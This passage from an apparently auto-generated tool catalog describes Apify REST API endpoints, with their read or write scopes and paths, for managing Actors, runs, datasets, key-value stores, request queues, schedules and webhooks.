apify_get_v2_actors_by_actorid_runs_last_request_queue_requests_by_requestid (read) — Returns a request from the default request queue of the last Actor run. This endpoint is a shortcut for getting the last run's `defaultRequestQueueId` and then using the [Get request](/api/v2/request-queue-request-get) endpoint. via GET /v2/actors/{actorId}/runs/last/request-queue/requests/{requestId} GET /api/v1/apify/v2/actors/{actorId}/runs/last/request-queue/requests/{requestId}. Scopes: read. apify_get_v2_actors_by_actorid_versions (read) — Gets the list of versions of a specific Actor. The response is a JSON object with the list of [Version objects](#/reference/actors/version-object), where each contains basic information about a single version. via GET /v2/actors/{actorId}/versions GET /api/v1/apify/v2/actors/{actorId}/versions. Scopes: read. apify_get_v2_actors_by_actorid_versions_by_versionnumber (read) — Gets a [Version object](#/reference/actors/version-object) that contains all the details about a specific version of an Actor. via GET /v2/actors/{actorId}/versions/{versionNumber} GET /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}. Scopes: read. apify_get_v2_actors_by_actorid_versions_by_versionnumber_env_vars (read) — Gets the list of environment variables for a specific version of an Actor. The response is a JSON object with the list of [EnvVar objects](#/reference/actors/environment-variable-object), where each contains basic information about a single environment variable. via GET /v2/actors/{actorId}/versions/{versionNumber}/env-vars GET /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars. Scopes: read. apify_get_v2_actors_by_actorid_versions_by_versionnumber_env_vars_by_envvarname (read) — Gets a [EnvVar object](#/reference/actors/environment-variable-object) that contains all the details about a specific environment variable of an Actor. If `isSecret` is set to `true`, then `value` will never be returned. via GET /v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName} GET /api/v1/apify/v2/actors/{actorId}/versions/{versionNumber}/env-vars/{envVarName}. Scopes: read. apify_get_v2_actors_by_actorid_webhooks (read) — Gets the list of webhooks of a specific Actor. The response is a JSON with the list of objects, where each object contains basic information about a single webhook. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order, to sort the records in descending order, use the `desc=1` parameter. via GET /v2/actors/{actorId}/webhooks GET /api/v1/apify/v2/actors/{actorId}/webhooks. Scopes: read. apify_get_v2_browser_info (read) — Returns information about the HTTP request, including the client IP address, country code, request headers, and body length. This endpoint is designed for proxy testing. It accepts any HTTP method so you can verify that your proxy correctly forwards requests of any type and that client IP addresses are anonymized. via GET /v2/browser-info GET /api/v1/apify/v2/browser-info. Scopes: read. apify_get_v2_datasets (read) — Lists all of a user's datasets. The response is a JSON array of objects, where each object contains basic information about one dataset. By default, the objects are sorted by the `createdAt` field in ascending order, therefore you can use pagination to incrementally fetch all datasets while new ones are still being created. To sort them in descending order, use `desc=1` parameter. The endpoint supports pagination using `limit` and `offset` parameters and it will not return more than 1000 array elements. via GET /v2/datasets GET /api/v1/apify/v2/datasets. Scopes: read. apify_get_v2_datasets_by_datasetid (read) — Returns dataset object for given dataset ID. This does not return dataset items, only information about the storage itself. To retrieve dataset items, use the [List dataset items](/api/v2/dataset-items-get) endpoint. :::note Keep in mind that attributes `itemCount` and `cleanItemCount` are not propagated right away after data are pushed into a dataset. ::: There is a short period (up to 5 seconds) during which these counters may not match with exact counts in dataset items. via GET /v2/datasets/{datasetId} GET /api/v1/apify/v2/datasets/{datasetId}. Scopes: read. apify_get_v2_datasets_by_datasetid_items (read) — Returns data stored in the dataset in a desired format. ### Response format The format of the response depends on format query parameter. The format parameter can have one of the following values: json, jsonl, xml, html, csv, xlsx and rss. The following table describes how each format is treated.
Format Items
json The response is a JSON, JSONL or XML array of raw item objects.
jsonl
xml
html The response is a HTML, CSV or XLSX table, where columns correspond to the properties of the item and rows correspond to each dataset item.
csv
xlsx
rss The response is a RSS file. Each item is displayed as child elements of one <item>.
Note that CSV, XLSX and HTML tables are limited to 2000 columns and the column names cannot be longer than 200 characters. JSON, XML and RSS formats do not have such restrictions. ### Hidden fields The top-level fields starting with the `#` character are considered hidden. These are useful to store debugging information and can be omitted from the output by providing the `skipHidden=1` or `clean=1` query parameters. For example, if you store the following object to the dataset: ``` { productName: "iPhone Xs", description: "Welcome to the big screens." #debug: { url: "https://www.apple.com/lae/iphone-xs/", crawledAt: "2019-01-21T16:06:03.683Z" } } ``` The `#debug` field will be considered as hidden and can be omitted from the results. This is useful to provide nice cleaned data to end users, while keeping debugging info available if needed. The Dataset object returned by the API contains the number of such clean items in the`dataset.cleanItemCount` property. ### XML format extension When exporting results to XML or RSS formats, the names of object properties become XML tags and the corresponding values become tag's children. For example, the following JavaScript object: ``` { name: "Paul Newman", address: [ { type: "home", street: "21st", city: "Chicago" }, { type: "office", street: null, city: null } ] } ``` will be transformed to the following XML snippet: ``` Paul Newman
home 21st Chicago
office
``` If the JavaScript object contains a property named `@` then its sub-properties are exported as attributes of the parent XML element. If the parent XML element does not have any child elements then its value is taken from a JavaScript object property named `#`. For example, the following JavaScript object: ``` { "address": [{ "@": { "type": "home" }, "street": "21st", "city": "Chicago" }, { "@": { "type": "office" }, "#": 'unknown' }] } ``` will be transformed to the following XML snippet: ```
21st Chicago
unknown
``` This feature is also useful to customize your RSS feeds generated for various websites. By default the whole result is wrapped in a `` element and each page object is wrapped in a `` element. You can change this using xmlRoot and xmlRow url parameters. ### Pagination The generated response supports [pagination](#/introduction/pagination). The pagination is always performed with the granularity of a single item, regardless whether unwind parameter was provided. By default, the **Items** in the response are sorted by the time they were stored to the database, therefore you can use pagination to incrementally fetch the items as they are being added. No limit exists to how many items can be returned in one response. If you specify `desc=1` query parameter, the results are returned in the reverse order than they were stored (i.e. from newest to oldest items). Note that only the order of **Items** is reversed, but not the order of the `unwind` array elements. via GET /v2/datasets/{datasetId}/items GET /api/v1/apify/v2/datasets/{datasetId}/items. Scopes: read. apify_get_v2_datasets_by_datasetid_statistics (read) — Returns statistics for given dataset. Provides only [field statistics](https://docs.apify.com/platform/actors/development/actor-definition/dataset-schema/validation#dataset-field-statistics). via GET /v2/datasets/{datasetId}/statistics GET /api/v1/apify/v2/datasets/{datasetId}/statistics. Scopes: read. apify_get_v2_key_value_stores (read) — Gets the list of key-value stores owned by the user. The response is a list of objects, where each objects contains a basic information about a single key-value store. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 array elements. By default, the records are sorted by the `createdAt` field in ascending order, therefore you can use pagination to incrementally fetch all key-value stores while new ones are still being created. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/key-value-stores GET /api/v1/apify/v2/key-value-stores. Scopes: read. apify_get_v2_key_value_stores_by_storeid (read) — Gets an object that contains all the details about a specific key-value store. via GET /v2/key-value-stores/{storeId} GET /api/v1/apify/v2/key-value-stores/{storeId}. Scopes: read. apify_get_v2_key_value_stores_by_storeid_keys (read) — Returns a list of objects describing keys of a given key-value store, as well as some information about the values (e.g. size). This endpoint is paginated using `exclusiveStartKey` and `limit` parameters - see [Pagination](/api/v2#using-key) for more details. via GET /v2/key-value-stores/{storeId}/keys GET /api/v1/apify/v2/key-value-stores/{storeId}/keys. Scopes: read. apify_get_v2_key_value_stores_by_storeid_records_by_recordkey (read) — Gets a value stored in the key-value store under a specific key. The response body has the same `Content-Encoding` header as it was set in [Put record](#tag/Key-value-storesRecord/operation/keyValueStore_record_put). If the request does not define the `Accept-Encoding` HTTP header with the right encoding, the record will be decompressed. Most HTTP clients support decompression by default. After using the HTTP client with decompression support, the `Accept-Encoding` header is set by the client and body is decompressed automatically. Please note that for security reasons, Apify API can perform small modifications to HTML documents before they are served via this endpoint. To fetch the raw HTML content without any modifications, use the `attachment` query parameter. via GET /v2/key-value-stores/{storeId}/records/{recordKey} GET /api/v1/apify/v2/key-value-stores/{storeId}/records/{recordKey}. Scopes: read. apify_get_v2_logs_by_buildorrunid (read) — Retrieves logs for a specific Actor build or run. via GET /v2/logs/{buildOrRunId} GET /api/v1/apify/v2/logs/{buildOrRunId}. Scopes: read. apify_get_v2_request_queues (read) — Lists all of a user's request queues. The response is a JSON array of objects, where each object contains basic information about one queue. By default, the objects are sorted by the `createdAt` field in ascending order, therefore you can use pagination to incrementally fetch all queues while new ones are still being created. To sort them in descending order, use `desc=1` parameter. The endpoint supports pagination using `limit` and `offset` parameters and it will not return more than 1000 array elements. via GET /v2/request-queues GET /api/v1/apify/v2/request-queues. Scopes: read. apify_get_v2_request_queues_by_queueid (read) — Returns queue object for given queue ID. via GET /v2/request-queues/{queueId} GET /api/v1/apify/v2/request-queues/{queueId}. Scopes: read. apify_get_v2_request_queues_by_queueid_head (read) — Returns given number of first requests from the queue. The response contains the `hadMultipleClients` boolean field which indicates that the queue was accessed by more than one client (with unique or empty `clientKey`). This field is used by [Apify SDK](https://sdk.apify.com) to determine whether the local cache is consistent with the request queue, and thus optimize performance of certain operations. via GET /v2/request-queues/{queueId}/head GET /api/v1/apify/v2/request-queues/{queueId}/head. Scopes: read. apify_get_v2_request_queues_by_queueid_requests (read) — Returns a list of requests. This endpoint is paginated using cursor (pagination by `exclusiveStartId` is deprecated) and limit parameters. via GET /v2/request-queues/{queueId}/requests GET /api/v1/apify/v2/request-queues/{queueId}/requests. Scopes: read. apify_get_v2_request_queues_by_queueid_requests_by_requestid (read) — Returns request from queue. via GET /v2/request-queues/{queueId}/requests/{requestId} GET /api/v1/apify/v2/request-queues/{queueId}/requests/{requestId}. Scopes: read. apify_get_v2_schedules (read) — Gets the list of schedules that the user created. The endpoint supports pagination using the `limit` and `offset` parameters. It will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/schedules GET /api/v1/apify/v2/schedules. Scopes: read. apify_get_v2_schedules_by_scheduleid (read) — Gets the schedule object with all details. via GET /v2/schedules/{scheduleId} GET /api/v1/apify/v2/schedules/{scheduleId}. Scopes: read. apify_get_v2_schedules_by_scheduleid_log (read) — Gets the schedule log as a JSON array containing information about up to a 1000 invocations of the schedule. via GET /v2/schedules/{scheduleId}/log GET /api/v1/apify/v2/schedules/{scheduleId}/log. Scopes: read. apify_get_v2_store (read) — Gets the list of public Actors in Apify Store. You can use `search` parameter to search Actors by string in title, name, description, username and readme. If you need detailed info about a specific Actor, use the [Get Actor](#/reference/actors/actor-object/get-actor) endpoint. The endpoint supports pagination using the `limit` and `offset` parameters. It will not return more than 1,000 records. via GET /v2/store GET /api/v1/apify/v2/store. Scopes: read. apify_get_v2_users_by_userid (read) — Returns public information about a specific user account, similar to what can be seen on public profile pages (e.g. https://apify.com/apify). This operation requires no authentication token. via GET /v2/users/{userId} GET /api/v1/apify/v2/users/{userId}. Scopes: read. apify_get_v2_users_me (read) — Returns information about the current user account, including both public and private information. The user account is identified by the provided authentication token. The fields `plan`, `email` and `profile` are omitted when this endpoint is accessed from Actor run. via GET /v2/users/me GET /api/v1/apify/v2/users/me. Scopes: read. apify_get_v2_users_me_limits (read) — Returns a complete summary of your account's limits. It is the same information you will see on your account's [Limits page](https://console.apify.com/billing#/limits). The returned data includes the current usage cycle, a summary of your limits, and your current usage. via GET /v2/users/me/limits GET /api/v1/apify/v2/users/me/limits. Scopes: read. apify_get_v2_users_me_usage_monthly (read) — Returns a complete summary of your usage for the current monthly usage cycle, an overall sum, as well as a daily breakdown of usage. It is the same information you will see on your account's [Billing > Historical usage page](https://console.apify.com/billing/historical-usage). The information includes your use of Actors, compute, data transfer, and storage. Using the `date` parameter will show your usage in the monthly usage cycle that includes that date. via GET /v2/users/me/usage/monthly GET /api/v1/apify/v2/users/me/usage/monthly. Scopes: read. apify_get_v2_webhook_dispatches (read) — Gets the list of webhook dispatches that the user have. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/webhook-dispatches GET /api/v1/apify/v2/webhook-dispatches. Scopes: read. apify_get_v2_webhook_dispatches_by_dispatchid (read) — Gets webhook dispatch object with all details. via GET /v2/webhook-dispatches/{dispatchId} GET /api/v1/apify/v2/webhook-dispatches/{dispatchId}. Scopes: read. apify_get_v2_webhooks (read) — Gets the list of webhooks that the user created. The endpoint supports pagination using the `limit` and `offset` parameters and it will not return more than 1000 records. By default, the records are sorted by the `createdAt` field in ascending order. To sort the records in descending order, use the `desc=1` parameter. via GET /v2/webhooks GET /api/v1/apify/v2/webhooks. Scopes: read. apify_get_v2_webhooks_by_webhookid (read) — Gets webhook object with all details. via GET /v2/webhooks/{webhookId} GET /api/v1/apify/v2/webhooks/{webhookId}. Scopes: read. apify_get_v2_webhooks_by_webhookid_dispatches (read) — Gets a given webhook's list of dispatches. via GET /v2/webhooks/{webhookId}/dispatches GET /api/v1/apify/v2/webhooks/{webhookId}/dispatches. Scopes: read. apify_head_v2_datasets_by_datasetid_items (read) — Returns only the HTTP headers for the dataset items endpoint, without the response body. This is useful to check pagination metadata or verify access without downloading the full dataset. via HEAD /v2/datasets/{datasetId}/items HEAD /api/v1/apify/v2/datasets/{datasetId}/items. Scopes: read. apify_head_v2_key_value_stores_by_storeid_records_by_recordkey (read) — Check if a value is stored in the key-value store under a specific key. via HEAD /v2/key-value-stores/{storeId}/records/{recordKey} HEAD /api/v1/apify/v2/key-value-stores/{storeId}/records/{recordKey}. Scopes: read. apify_post_v2_actor_builds_by_buildid_abort (write) — Aborts an Actor build and returns an object that contains all the details about the build. Only builds that are starting or running are aborted. For builds with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. via POST /v2/actor-builds/{buildId}/abort POST /api/v1/apify/v2/actor-builds/{buildId}/abort. Scopes: write. apify_post_v2_actor_runs_by_runid_abort (write) — Aborts an Actor run and returns an object that contains all the details about the run. Only runs that are starting or running are aborted. For runs with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. via POST /v2/actor-runs/{runId}/abort POST /api/v1/apify/v2/actor-runs/{runId}/abort. Scopes: write. apify_post_v2_actor_runs_by_runid_charge (write) — Charge for events in the run of your [pay per event Actor](https://docs.apify.com/platform/actors/running/actors-in-store#pay-per-event). The event you are charging for must be one of the configured events in your Actor. If the Actor is not set up as pay per event, or if the event is not configured, the endpoint will return an error. The endpoint must be called from the Actor run itself, with the same API token that the run was started with. :::info Learn more about pay-per-event pricing For more details about pay-per-event (PPE) pricing, refer to our [PPE documentation](/actors/publishing/monetize/pay-per-event). ::: via POST /v2/actor-runs/{runId}/charge POST /api/v1/apify/v2/actor-runs/{runId}/charge. Scopes: write. apify_post_v2_actor_runs_by_runid_dataset_items (write) — Appends an item or an array of items to the end of the Actor run's default dataset. This endpoint is a shortcut that resolves the run's `defaultDatasetId` and proxies to the [Store items](/api/v2/dataset-items-post) endpoint. To save bandwidth and speed up your upload, you can send the request payload compressed and set the `Content-Encoding` header accordingly. Below is a list of supported `Content-Encoding` types. * Brotli: `Content-Encoding: br` * Gzip: `Content-Encoding: gzip` * Deflate: `Content-Encoding: deflate` via POST /v2/actor-runs/{runId}/dataset/items POST /api/v1/apify/v2/actor-runs/{runId}/dataset/items. Scopes: write. apify_post_v2_actor_runs_by_runid_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the Actor run. This endpoint is a shortcut for getting the run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-post) endpoint. via POST /v2/actor-runs/{runId}/key-value-store/records/{recordKey} POST /api/v1/apify/v2/actor-runs/{runId}/key-value-store/records/{recordKey}. Scopes: write. apify_post_v2_actor_runs_by_runid_metamorph (write) — Transforms an Actor run into a run of another Actor with a new input. This is useful if you want to use another Actor to finish the work of your current Actor run, without the need to create a completely new run and waiting for its finish. For the users of your Actors, the metamorph operation is transparent, they will just see your Actor got the work done. Internally, the system stops the Docker container corresponding to the Actor run and starts a new container using a different Docker image. All the default storages are preserved and the new input is stored under the `INPUT-METAMORPH-1` key in the same default key-value store. For more information, see the [Actor docs](https://docs.apify.com/platform/actors/development/programming-interface/metamorph). via POST /v2/actor-runs/{runId}/metamorph POST /api/v1/apify/v2/actor-runs/{runId}/metamorph. Scopes: write. apify_post_v2_actor_runs_by_runid_reboot (write) — Reboots an Actor run and returns an object that contains all the details about the rebooted run. Only runs that are running, i.e. runs with status `RUNNING` can be rebooted. The run's container will be restarted, so any data not persisted in the key-value store, dataset, or request queue will be lost. via POST /v2/actor-runs/{runId}/reboot POST /api/v1/apify/v2/actor-runs/{runId}/reboot. Scopes: write. apify_post_v2_actor_runs_by_runid_request_queue_head_lock (write) — Returns the given number of first requests from the default request queue of the Actor run and locks them for the given time. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Get head and lock](/api/v2/request-queue-head-lock-post) endpoint. via POST /v2/actor-runs/{runId}/request-queue/head/lock POST /api/v1/apify/v2/actor-runs/{runId}/request-queue/head/lock. Scopes: write. apify_post_v2_actor_runs_by_runid_request_queue_requests (write) — Adds a request to the default request queue of the Actor run. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Add request](/api/v2/request-queue-requests-post) endpoint. via POST /v2/actor-runs/{runId}/request-queue/requests POST /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests. Scopes: write. apify_post_v2_actor_runs_by_runid_request_queue_requests_batch (write) — Adds requests to the default request queue of the Actor run in batch. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Add requests](/api/v2/request-queue-requests-batch-post) endpoint. via POST /v2/actor-runs/{runId}/request-queue/requests/batch POST /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/batch. Scopes: write. apify_post_v2_actor_runs_by_runid_request_queue_requests_unlock (write) — Unlocks requests in the default request queue of the Actor run that are currently locked by the client. This endpoint is a shortcut for getting the run's `defaultRequestQueueId` and then using the [Unlock requests](/api/v2/request-queue-requests-unlock-post) endpoint. via POST /v2/actor-runs/{runId}/request-queue/requests/unlock POST /api/v1/apify/v2/actor-runs/{runId}/request-queue/requests/unlock. Scopes: write. apify_post_v2_actor_runs_by_runid_resurrect (write) — Resurrects a finished Actor run and returns an object that contains all the details about the resurrected run. Only finished runs, i.e. runs with status `FINISHED`, `FAILED`, `ABORTED` and `TIMED-OUT` can be resurrected. Run status will be updated to RUNNING and its container will be restarted with the same storages (the same behaviour as when the run gets migrated to the new server). For more information, see the [Actor docs](https://docs.apify.com/platform/actors/running/runs-and-builds#resurrection-of-finished-run). via POST /v2/actor-runs/{runId}/resurrect POST /api/v1/apify/v2/actor-runs/{runId}/resurrect. Scopes: write. apify_post_v2_actor_tasks (write) — Create a new task with settings specified by the object passed as JSON in the POST payload. The response is the full task object as returned by the [Get task](/api/v2/actor-task-get) endpoint. The request needs to specify the `Content-Type: application/json` HTTP header! When providing your API authentication token, we recommend using the request's `Authorization` header, rather than the URL. via POST /v2/actor-tasks POST /api/v1/apify/v2/actor-tasks. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_run_sync (write) — Runs an Actor task and synchronously returns a key-value store record. The response contains the record stored under the `OUTPUT` key in the run's default key-value store. This is a legacy approach that has been replaced by the Actor [output object](https://docs.apify.com/platform/actors/development/actor-definition/output-schema#output-object-definition); Actors aren't required to store a record under this key, so the response may not contain any data. Use the `outputRecordKey` query parameter to return a different record. The run must finish in 300 seconds otherwise the HTTP request fails with a timeout error (this won't abort the run itself). Optionally, you can override the Actor input configuration by passing a JSON object as the POST payload and setting the `Content-Type: application/json` HTTP header. Note that if the object in the POST payload does not define a particular input property, the Actor run uses the default value defined by the task (or Actor's input schema if not defined by the task). Beware that it might be impossible to maintain an idle HTTP connection for an extended period, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. Input fields from Actor task configuration can be overloaded with values passed as the POST payload. Just make sure to specify `Content-Type` header to be `application/json` and input to be an object. To run the task asynchronously, use the [Run task](#/reference/actor-tasks/run-collection/run-task) API endpoint instead. via POST /v2/actor-tasks/{actorTaskId}/run-sync POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/run-sync. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_run_sync_get_dataset_items (write) — Runs an Actor task and synchronously returns its dataset items. The run must finish in 300 seconds otherwise the HTTP request fails with a timeout error (this won't abort the run itself). Optionally, you can override the Actor input configuration by passing a JSON object as the POST payload and setting the `Content-Type: application/json` HTTP header. Note that if the object in the POST payload does not define a particular input property, the Actor run uses the default value defined by the task (or the Actor's input schema if not defined by the task). You can send all the same options in parameters as the [Get Dataset Items](#/reference/datasets/item-collection/get-items) API endpoint. Beware that it might be impossible to maintain an idle HTTP connection for an extended period, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. Input fields from Actor task configuration can be overloaded with values passed as the POST payload. Just make sure to specify the `Content-Type` header as `application/json` and that the input is an object. To run the task asynchronously, use the [Run task](#/reference/actor-tasks/run-collection/run-task) API endpoint instead. via POST /v2/actor-tasks/{actorTaskId}/run-sync-get-dataset-items POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/run-sync-get-dataset-items. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs (write) — Runs an Actor task and immediately returns without waiting for the run to finish. Optionally, you can override the Actor input configuration by passing a JSON object as the POST payload and setting the `Content-Type: application/json` HTTP header. Note that if the object in the POST payload does not define a particular input property, the Actor run uses the default value defined by the task (or Actor's input schema if not defined by the task). The response is the Actor Run object as returned by the [Get run](#/reference/actor-runs/run-object-and-its-storages/get-run) endpoint. If you want to wait for the run to finish and receive the actual output of the Actor run as the response, use one of the [Run task synchronously](#/reference/actor-tasks/run-task-synchronously) API endpoints instead. To fetch the Actor run results that are typically stored in the default dataset, you'll need to pass the ID received in the `defaultDatasetId` field received in the response JSON to the [Get dataset items](#/reference/datasets/item-collection/get-items) API endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_abort (write) — Aborts the last run of the specified Actor task and returns an object that contains all the details about the run. This endpoint is a shortcut for [Abort run](#/reference/actor-runs/abort-run/abort-run) on the Actor task's last run. Only runs that are starting or running are aborted. For runs with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. via POST /v2/actor-tasks/{actorTaskId}/runs/last/abort POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/abort. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_dataset_items (write) — Appends an item or an array of items to the end of the last Actor task run's default dataset. This endpoint is a shortcut that resolves the last task run's `defaultDatasetId` and proxies to the [Store items](/api/v2/dataset-items-post) endpoint. To save bandwidth and speed up your upload, you can send the request payload compressed and set the `Content-Encoding` header accordingly. Below is a list of supported `Content-Encoding` types. * Brotli: `Content-Encoding: br` * Gzip: `Content-Encoding: gzip` * Deflate: `Content-Encoding: deflate` via POST /v2/actor-tasks/{actorTaskId}/runs/last/dataset/items POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/dataset/items. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_key_value_store_records_by_recordkey (write) — Stores a value under a specific key in the default key-value store of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultKeyValueStoreId` and then using the [Store record](/api/v2/key-value-store-record-post) endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey} POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/key-value-store/records/{recordKey}. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_metamorph (write) — Transforms the last run of the specified Actor task into a run of another Actor with a new input. This endpoint is a shortcut for [Metamorph run](#/reference/actor-runs/metamorph-run/metamorph-run) on the Actor task's last run. via POST /v2/actor-tasks/{actorTaskId}/runs/last/metamorph POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/metamorph. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_reboot (write) — Reboots the last run of the specified Actor task and returns an object that contains all the details about the rebooted run. This endpoint is a shortcut for [Reboot run](#/reference/actor-runs/reboot-run/reboot-run) on the Actor task's last run. Only runs with status `RUNNING` can be rebooted. The run's container will be restarted, so any data not persisted in the key-value store, dataset, or request queue will be lost. via POST /v2/actor-tasks/{actorTaskId}/runs/last/reboot POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/reboot. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_request_queue_head_lock (write) — Returns the given number of first requests from the default request queue of the last Actor task run and locks them for the given time. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Get head and lock](/api/v2/request-queue-head-lock-post) endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/head/lock POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/head/lock. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests (write) — Adds a request to the default request queue of the last Actor task run. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Add request](/api/v2/request-queue-requests-post) endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_batch (write) — Adds requests to the default request queue of the last Actor task run in batch. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Add requests](/api/v2/request-queue-requests-batch-post) endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/batch POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/batch. Scopes: write. apify_post_v2_actor_tasks_by_actortaskid_runs_last_request_queue_requests_unlock (write) — Unlocks requests in the default request queue of the last Actor task run that are currently locked by the client. This endpoint is a shortcut for getting the last task run's `defaultRequestQueueId` and then using the [Unlock requests](/api/v2/request-queue-requests-unlock-post) endpoint. via POST /v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/unlock POST /api/v1/apify/v2/actor-tasks/{actorTaskId}/runs/last/request-queue/requests/unlock. Scopes: write. apify_post_v2_actors (write) — Creates an Actor with the settings specified in an `Actor` object passed as JSON in the POST payload. Returns the created `Actor` object. In the HTTP request, set the `Content-Type` header to `application/json`. ### Define a source code version An Actor must specify at least one version of the source code. For details, see [Actor versions](/api/v2/actors-actor-versions). ### Publish an Actor To make your Actor [public](https://docs.apify.com/platform/actors/publishing), use the [Update Actor](/api/v2/actor-put) endpoint. via POST /v2/actors POST /api/v1/apify/v2/actors. Scopes: write. apify_post_v2_actors_by_actorid_builds (write) — Builds an Actor. The response is the build object as returned by the [Get build](#/reference/actors/build-object/get-build) endpoint. via POST /v2/actors/{actorId}/builds POST /api/v1/apify/v2/actors/{actorId}/builds. Scopes: write. apify_post_v2_actors_by_actorid_builds_by_buildid_abort (write) — **[DEPRECATED]** API endpoints related to build of the Actor were moved under new namespace [`actor-builds`](#/reference/actor-builds). Aborts an Actor build and returns an object that contains all the details about the build. Only builds that are starting or running are aborted. For builds with status `FINISHED`, `FAILED`, `ABORTING` and `TIMED-OUT` this call does nothing. Apify marks this operation deprecated. via POST /v2/actors/{actorId}/builds/{buildId}/abort POST /api/v1/apify/v2/actors/{actorId}/builds/{buildId}/abort. Scopes: write. apify_post_v2_actors_by_actorid_run_sync (write) — Runs a specific Actor and returns a key-value store record. The POST payload including its `Content-Type` header is passed as `INPUT` to the Actor (usually application/json). The response contains the record stored under the `OUTPUT` key in the run's default key-value store. This is a legacy approach that has been replaced by the Actor [output object](https://docs.apify.com/platform/actors/development/actor-definition/output-schema#output-object-definition); Actors aren't required to store a record under this key, so the response may not contain any data. Use the `outputRecordKey` query parameter to return a different record. The Actor is started with the default options; you can override them using various URL query parameters. If the Actor run exceeds 300 seconds, the HTTP response will have status 408 (Request Timeout). Beware that it might be impossible to maintain an idle HTTP connection for a long period of time, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Actor asynchronously, use the [Run Actor](#/reference/actors/run-collection/run-actor) API endpoint instead. via POST /v2/actors/{actorId}/run-sync POST /api/v1/apify/v2/actors/{actorId}/run-sync. Scopes: write. apify_post_v2_actors_by_actorid_run_sync_get_dataset_items (write) — Runs a specific Actor and returns its dataset items. The POST payload including its `Content-Type` header is passed as `INPUT` to the Actor (usually `application/json`). The HTTP response contains the Actors dataset items, while the format of items depends on specifying dataset items' `format` parameter. You can send all the same options in parameters as the [Get Dataset Items](#/reference/datasets/item-collection/get-items) API endpoint. The Actor is started with the default options; you can override them using URL query parameters. If the Actor run exceeds 300 seconds, the HTTP response will return the 408 status code (Request Timeout). Beware that it might be impossible to maintain an idle HTTP connection for a long period of time, due to client timeout or network conditions. Make sure your HTTP client is configured to have a long enough connection timeout. If the connection breaks, you will not receive any information about the run and its status. To run the Actor asynchronously, use the [Run Actor](#/reference/actors/run-collection/run-actor) API endpoint instead. via POST /v2/actors/{actorId}/run-sync-get-dataset-items POST /api/v1/apify/v2/actors/{actorId}/run-sync-get-dataset-items. Scopes: write. apify_post_v2_actors_by_actorid_runs (write) — Runs an Actor and immediately returns without waiting for the run to finish. The POST payload including its `Content-Type` header is passed as `INPUT` to the Actor (usually `application/json`). The Actor is started with the default options; you can override them using various URL query parameters. The response is the Run object as returned by the [Get run](#/reference/actor-runs/run-object-and-its-storages/get-run) API endpoint. If you want to wait for the run to finish and receive the actual output of the Actor as the response, please use one of the [Run Actor synchronously](#/reference/actors/run-actor-synchronously) API endpoints instead. To fetch the Actor run results that are typically stored in the default dataset, you'll need to pass the ID received in the `defaultDatasetId` field received in the response JSON to the [Get dataset items](#/reference/datasets/item-collection/get-items) API endpoint. via POST /v2/actors/{actorId}/runs POST 